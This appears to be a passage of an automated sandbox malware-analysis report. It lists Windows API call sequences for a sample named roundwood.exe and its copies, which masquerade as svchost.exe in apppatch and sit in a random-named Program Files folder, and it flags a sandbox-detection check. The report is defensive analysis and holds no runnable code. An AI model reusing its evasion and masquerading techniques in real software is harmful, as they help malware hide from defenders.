Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E748C0 PathAddBackslashA,CreateFileA,SetFilePointer,SetFilePointer,LockFile,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetModuleFileNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetUserNameA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetEnvironmentVariableA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemDefaultLangID,memset,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDC,GetDeviceCaps,GetSystemMetrics,GetSystemMetrics,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetDateFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeFormatA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetTimeZoneInformation,_snprintf,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetSystemWindowsDirectoryA,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,#680,#680,SetFilePointer,LockFile,WriteFile,UnlockFile,SetFilePointer,LockFile,WriteFile,UnlockFile,GetHandleInformation,CloseHandle, mov dword ptr [ebp-20h], 00000419h 8_2_00E748C0
Contains functionality to compare user and computer (likely to detect sandboxes)
Source: C:\Users\user\Desktop\roundwood.exeCode function: GetModuleFileNameA,GetModuleFileNameA,strstr,strstr,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,0_2_00403920
Source: C:\Users\user\Desktop\roundwood.exeCode function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,0_2_00402B70
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,GetModuleFileNameA,strstr,strstr,GetUserNameA,CharUpperA,strstr,strstr,strstr,strstr,strstr,GetSystemWindowsDirectoryA,GetVolumeInformationA,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,2_2_00403920
Source: C:\Windows\apppatch\svchost.exeCode function: EntryPoint,LoadLibraryA,GetModuleFileNameA,ExitProcess,FindWindowA,GetTickCount,PostMessageA,IsUserAnAdmin,IsUserAnAdmin,ExitProcess,IsUserAnAdmin,GetModuleHandleA,GetProcAddress,GetCurrentProcess,StrStrIA,GetCurrentProcessId,Sleep,StrStrIA,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,GlobalFindAtomA,GlobalAddAtomA,IsUserAnAdmin,RtlAdjustPrivilege,IsUserAnAdmin,ExitProcess,2_2_00402B70
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,2_2_02D167D0
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,2_2_02D15230
Source: C:\Windows\apppatch\svchost.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,2_2_02D23B90
Source: C:\Windows\apppatch\svchost.exeCode function: GetUserNameA,memset,StrStrIA,2_2_02D1A8E0
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,2_2_02D221E0
Source: C:\Windows\apppatch\svchost.exeCode function: memset,VirtualQuery,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,2_2_02D01170
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,2_2_02D21160
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,2_2_02D23910
Source: C:\Windows\apppatch\svchost.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,2_2_02D1C900
Source: C:\Windows\apppatch\svchost.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,2_2_02D01660
Source: C:\Windows\apppatch\svchost.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,2_2_02D227C0
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,IsUserAnAdmin,PathFindFileNameA,StrStrIA,IsUserAnAdmin,StrStrIA,IsUserAnAdmin,StrStrIA,2_2_02D037E0
Source: C:\Windows\apppatch\svchost.exeCode function: StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,2_2_02D0D7A0
Source: C:\Windows\apppatch\svchost.exeCode function: memset,GetModuleFileNameA,StrStrIA,2_2_02D22750
Source: C:\Windows\apppatch\svchost.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,2_2_02D20F40
Source: C:\Windows\apppatch\svchost.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,2_2_02D07D50
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,4_2_012F67D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,4_2_01303910
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,4_2_012FC900
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,4_2_01301160
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,4_2_012E1170
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,4_2_013021E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetUserNameA,memset,StrStrIA,4_2_012FA8E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,4_2_01303B90
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,4_2_012F5230
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,4_2_012E7D50
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,StrStrIA,4_2_01302750
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,4_2_01300F40
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,4_2_012ED7A0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,4_2_012E37E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,4_2_013027C0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,4_2_012E1660
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,5_2_00E467D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetUserNameA,memset,StrStrIA,5_2_00E4A8E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,5_2_00E521E0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,5_2_00E51160
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,5_2_00E31170
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,5_2_00E4C900
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,5_2_00E53910
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,5_2_00E45230
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,5_2_00E53B90
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,5_2_00E37D50
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,5_2_00E31660
